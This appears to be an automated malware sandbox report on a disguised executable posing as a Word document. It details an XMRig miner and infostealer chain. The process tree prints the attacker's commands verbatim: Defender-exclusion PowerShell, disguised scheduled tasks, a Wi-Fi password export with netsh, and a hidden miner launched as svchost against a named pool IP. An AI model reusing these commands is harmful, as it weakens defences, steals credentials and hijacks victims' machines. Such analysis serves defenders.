Resubmissions

13/08/2026, 22:45

260813-2pexvsgr8x8

30/07/2026, 08:09

260730-j2hkeaeb7410

Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    30/07/2026, 08:09

General

  • Target
    AoN_a_o_Na_a.docx.exe
  • Size 12.8MB
  • Sample260730-j2hkeaeb74
  • SHA256 5b53c135fe45a6d8d6dd04b679d5ba1ece9c7b55a8bfdec13b1ebecc6c3a674a
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Family: xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 10 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Drops file in Drivers directory 2 IoCs
  • Checks BIOS information in registry 2 TTPs 10 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Creates a file in the Startup directory 1 TTPs 1 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

  • Executes dropped EXE 7 IoCs
  • Reads WinSCP keys stored on the system 2 TTPs

    Tries to access WinSCP stored sessions.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Looks up external IP address via web service 1 TTPs 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Checks processor information in registry 2 TTPs 5 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 23 IoCs
  • Modifies registry class 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: AddClipboardFormatListener 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 52 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 15 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\AoN_a_o_Na_a.docx.exe
    "C:\Users\Admin\AppData\Local\Temp\AoN_a_o_Na_a.docx.exe"
    1⤵
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:3164
    • C:\Users\Admin\AppData\Local\Temp\tmpE412.tmp.exe
      "C:\Users\Admin\AppData\Local\Temp\tmpE412.tmp.exe"
      2⤵
      • Drops file in Drivers directory
      • Checks BIOS information in registry
      • Executes dropped EXE
      • Drops file in System32 directory
      • Enumerates system info in registry
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4176
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32\drivers\NVIDIA Corporation\Drs\msader15.exe'"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:264
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32\SystemResetPlatform.exe'"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2752
      • C:\Windows\SYSTEM32\schtasks.exe
        "schtasks.exe" /Create /TN "Microsoft\Windows\Device Setup\Metadata Update" /TR "\"C:\Windows\System32\drivers\NVIDIA Corporation\Drs\msader15.exe\"" /SC MINUTE /MO 2 /RL HIGHEST /F
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:692
      • C:\Windows\SYSTEM32\schtasks.exe
        "schtasks.exe" /Create /TN "Microsoft\Windows\WindowsUpdate\RUXIM\SheculerPLUG" /TR "\"C:\Windows\System32\SystemResetPlatform.exe\"" /SC MINUTE /MO 30 /RL HIGHEST /F
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:816
      • C:\Windows\System32\drivers\NVIDIA Corporation\Drs\msader15.exe
        "C:\Windows\System32\drivers\NVIDIA Corporation\Drs\msader15.exe"
        3⤵
        • Checks BIOS information in registry
        • Creates a file in the Startup directory
        • Executes dropped EXE
        • Accesses Microsoft Outlook profiles
        • Suspicious use of SetThreadContext
        • Checks processor information in registry
        • Enumerates system info in registry
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        • outlook_office_path
        • outlook_win_path
        PID:5424
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell.exe" -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32\drivers\NVIDIA Corporation\Drs\msader15.exe'"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2392
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell.exe" -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32\SystemResetPlatform.exe'"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:2604
        • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\log.exe
          "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\log.exe"
          4⤵
          • Executes dropped EXE
          • Suspicious behavior: AddClipboardFormatListener
          • Suspicious use of SetWindowsHookEx
          PID:2908
        • C:\Windows\SYSTEM32\netsh.exe
          "netsh" wlan export profile key=clear folder="C:\Users\Admin\AppData\Local\Temp\fztmockp.joh"
          4⤵
          • Event Triggered Execution: Netsh Helper DLL
          PID:5368
        • C:\Windows\System32\svchost.exe
          C:\Windows\System32\svchost.exe --url 144.31.151.199:3333 --keepalive --coin monero --cpu-max-threads-hint=80 --http-host 127.0.0.1 --http-port 39933 --stealth "cs2,dota2,valorant,fortnite,pubg,apex,r5apex,rainbowsix,escapefromtarkov,warzone,destiny2,overwatch,gta5,rocketleague,minecraft,roblox,steam,epicgameslauncher,upc,ubisoftconnect,origin,battlefield,leagueoflegends,teamfighttactics,wildrift,cyberpunk2077,witcher3,eldenring,sekiro,darksouls3,deadspace,residentevil,monsterhunter,hogwartslegacy,starfield,diablo4,worldofwarcraft,ffxiv,newworld,lostark,pathofexile,taskmgr,processhacker,processhacker2,processhacker3,procexp,procexp64,procmon,procmon64,perfmon,resmon,mmc,autoruns,autorunsc,tcpview,wireshark,fiddler,charles,x64dbg,x32dbg,ollydbg,idaq,idaq64,ida,ida64,pestudio,hollows_hunter" --idle 5min
          4⤵
            PID:3884
      • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
        "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Ответы на вопросы теста конкурса.docx" /o ""
        2⤵
        • Checks processor information in registry
        • Enumerates system info in registry
        • Suspicious behavior: AddClipboardFormatListener
        • Suspicious use of SetWindowsHookEx
        PID:4332
    • C:\Windows\System32\SystemResetPlatform.exe
      "C:\Windows\System32\SystemResetPlatform.exe"
      1⤵
      • Checks BIOS information in registry
      • Executes dropped EXE
      • Enumerates system info in registry
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1808
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32\drivers\NVIDIA Corporation\Drs\msader15.exe'"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:3912
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32\SystemResetPlatform.exe'"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:5864
      • C:\Windows\System32\drivers\NVIDIA Corporation\Drs\msader15.exe
        "C:\Windows\System32\drivers\NVIDIA Corporation\Drs\msader15.exe"
        2⤵
        • Checks BIOS information in registry
        • Executes dropped EXE
        • Enumerates system info in registry
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:4896
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell.exe" -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32\drivers\NVIDIA Corporation\Drs\msader15.exe'"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:3388
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell.exe" -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32\SystemResetPlatform.exe'"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:1640
    • C:\Windows\System32\drivers\NVIDIA Corporation\Drs\msader15.exe
      "C:\Windows\System32\drivers\NVIDIA Corporation\Drs\msader15.exe"
      1⤵
      • Checks BIOS information in registry
      • Executes dropped EXE
      • Enumerates system info in registry
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:5088
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32\drivers\NVIDIA Corporation\Drs\msader15.exe'"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:5032
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32\SystemResetPlatform.exe'"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:4224

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 ed09f23af217ed1059f47da694c4c8c87704d4b93d539b0300b177c44a129e02
          • MD5 SHA1 SHA512 TLSH

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 990c5fccae5859a748b8e3717a2b65fc28bf62ece7d928aa83f114173fbbe865
          • MD5 SHA1 SHA512 TLSH

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 31f54a84498a62f4280cdad450e7e459b75378c7e67bfcf3279f493410eef07a
          • MD5 SHA1 SHA512 TLSH

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 c3eca1ec6f65452a3a8c3b797f54095da9dd00543cf6f3838b583d961f906869
          • MD5 SHA1 SHA512 TLSH

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 ea24e1f4c744f4a203318d786853d6650de07dd64e5e91381340937e12cd5b88
          • MD5 SHA1 SHA512 TLSH

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 afb78060c3e2a6cc8b86203846055aa9c14f2cc0cef780a61a54436ee355bfa9
          • MD5 SHA1 SHA512 TLSH

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 79e91509bb729729697fd44a5cb8647fa7d4e1e56d08f73df9ecf744e3fe0dac
          • MD5 SHA1 SHA512 TLSH

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 d28ef187840dcd1fe0a8a757ef9cd326023bec38b39ef1338f91d508d55dcf28
          • MD5 SHA1 SHA512 TLSH

          __PSScriptPolicyTest_jeclwi43.2mk.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jeclwi43.2mk.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH

          tmpE412.tmp.exe

          • Path C:\Users\Admin\AppData\Local\Temp\tmpE412.tmp.exe
          • Size 4.7MB
          • SHA256 75d7b2bc8530d68c8d35ffd07fe35f52925fc4b807ce0a88fff10776846a76cc
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Ответы на вопросы теста конкурса.docx

          • Path C:\Users\Admin\AppData\Local\Temp\Ответы на вопросы теста конкурса.docx
          • Size 53KB
          • SHA256 c752863f3e502151dce0c4159450ba6b01ddc39d166c76d2ee241b941ed95c39
          • MD5 SHA1 SHA512 SSDEEP TLSH

          CUSTOM.DIC

          • Path C:\Users\Admin\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC
          • Size 16B
          • SHA256 a91a702aab9b8dd722843d3d208a21bcfa6556dfc64e2ded63975de4511eb866
          • MD5 SHA1 SHA512

          log.exe

          • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\log.exe
          • Size 10KB
          • SHA256 7f1fb4135e9df45ce1b78f9b059aa40ff25496212b93e1a0ca781981401f0202
          • MD5 SHA1 SHA512 SSDEEP TLSH

          nvdrsdb.dll

          • Path C:\Windows\System32\drivers\NVIDIA Corporation\Drs\nvdrsdb.dll
          • Size 36KB
          • SHA256 f98ccbdaef67a05a50c177854ebf5e90c70758993939218833694327acd20e06
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/264-64-0x00000201DD280000-0x00000201DD2A2000-memory.dmp

          memory/264-70-0x00000201DD570000-0x00000201DD622000-memory.dmp

          memory/264-69-0x00000201DD310000-0x00000201DD32E000-memory.dmp

          memory/264-73-0x00000201DD300000-0x00000201DD30A000-memory.dmp

          memory/2848-131-0x0000000002F60000-0x0000000002F61000-memory.dmp

          memory/2848-128-0x00007FFD70520000-0x00007FFD70530000-memory.dmp

          memory/2908-150-0x0000000000380000-0x0000000000388000-memory.dmp

          memory/3164-1-0x0000000000A30000-0x0000000001700000-memory.dmp

          memory/3164-0-0x00007FFD8D74F000-0x00007FFD8D750000-memory.dmp

          memory/3164-11-0x00007FFD8D5C0000-0x00007FFD8DF64000-memory.dmp

          memory/3164-2-0x00007FFD8D5C0000-0x00007FFD8DF64000-memory.dmp

          memory/3164-3-0x00007FFD8D5C0000-0x00007FFD8DF64000-memory.dmp

          memory/3164-6-0x00007FFD8D5C0000-0x00007FFD8DF64000-memory.dmp

          memory/3164-23-0x00007FFD8D5C0000-0x00007FFD8DF64000-memory.dmp

          memory/3164-16-0x00007FFD8D5C0000-0x00007FFD8DF64000-memory.dmp

          memory/3884-395-0x0000000140000000-0x00000001406CA000-memory.dmp

          memory/4176-15-0x0000000000CD0000-0x0000000001190000-memory.dmp

          memory/4176-63-0x00007FFD8D5C0000-0x00007FFD8DF64000-memory.dmp

          memory/4176-52-0x00007FFDB03E0000-0x00007FFDB0643000-memory.dmp

          memory/4176-30-0x00007FFD8D5C0000-0x00007FFD8DF64000-memory.dmp

          memory/4176-28-0x00007FFD8D5C0000-0x00007FFD8DF64000-memory.dmp

          memory/4176-80-0x00007FFD8D5C0000-0x00007FFD8DF64000-memory.dmp

          memory/4176-25-0x00007FFD8D5C0000-0x00007FFD8DF64000-memory.dmp

          memory/4176-21-0x00007FFD8D5C0000-0x00007FFD8DF64000-memory.dmp

          memory/4176-98-0x00007FFD8D5C0000-0x00007FFD8DF64000-memory.dmp

          memory/4176-101-0x00007FFDB03E0000-0x00007FFDB0643000-memory.dmp

          memory/4332-82-0x00007FFDB03E0000-0x00007FFDB0643000-memory.dmp

          memory/4332-573-0x00007FFD70520000-0x00007FFD70530000-memory.dmp

          memory/4332-62-0x0000023AA59B0000-0x0000023AA5B7A000-memory.dmp

          memory/4332-36-0x00007FFD6DE20000-0x00007FFD6DE30000-memory.dmp

          memory/4332-24-0x00007FFD70520000-0x00007FFD70530000-memory.dmp

          memory/4332-26-0x00007FFD70520000-0x00007FFD70530000-memory.dmp

          memory/4332-27-0x00007FFD70520000-0x00007FFD70530000-memory.dmp

          memory/4332-29-0x00007FFD70520000-0x00007FFD70530000-memory.dmp

          memory/4332-35-0x00007FFD6DE20000-0x00007FFD6DE30000-memory.dmp

          memory/4332-34-0x00007FFD70520000-0x00007FFD70530000-memory.dmp

          memory/4332-31-0x00007FFDB053F000-0x00007FFDB0540000-memory.dmp

          memory/4332-576-0x0000023AA59B0000-0x0000023AA5B7A000-memory.dmp

          memory/4332-33-0x00007FFDB03E0000-0x00007FFDB0643000-memory.dmp

          memory/4332-577-0x00007FFDB03E0000-0x00007FFDB0643000-memory.dmp

          memory/4332-81-0x00007FFDB03E0000-0x00007FFDB0643000-memory.dmp

          memory/4332-574-0x00007FFD70520000-0x00007FFD70530000-memory.dmp

          memory/4332-32-0x00007FFDB03E0000-0x00007FFDB0643000-memory.dmp

          memory/4332-575-0x00007FFD70520000-0x00007FFD70530000-memory.dmp

          memory/4332-572-0x00007FFD70520000-0x00007FFD70530000-memory.dmp

          memory/5032-584-0x000001AC3BA90000-0x000001AC3BB42000-memory.dmp

          memory/5424-151-0x0000000003110000-0x0000000003122000-memory.dmp

          memory/5424-519-0x000000001F090000-0x000000001F25A000-memory.dmp

          memory/5424-495-0x000000001F090000-0x000000001F25A000-memory.dmp

          memory/5424-493-0x000000001F090000-0x000000001F25A000-memory.dmp

          memory/5424-158-0x00000000229E0000-0x0000000022E1A000-memory.dmp

          memory/5424-157-0x00000000030F0000-0x00000000030FC000-memory.dmp

          memory/5424-555-0x000000001F090000-0x000000001F25A000-memory.dmp

          memory/5424-578-0x000000001F090000-0x000000001F25A000-memory.dmp

          memory/5424-156-0x00000000030E0000-0x00000000030EC000-memory.dmp

          memory/5424-136-0x0000000020360000-0x000000002040C000-memory.dmp

          memory/5424-515-0x000000001F090000-0x000000001F25A000-memory.dmp

          memory/5424-135-0x00000000030B0000-0x00000000030C0000-memory.dmp

          memory/5424-592-0x000000001F090000-0x000000001F25A000-memory.dmp

          memory/5424-593-0x000000001F090000-0x000000001F25A000-memory.dmp

          memory/5424-594-0x000000001F090000-0x000000001F25A000-memory.dmp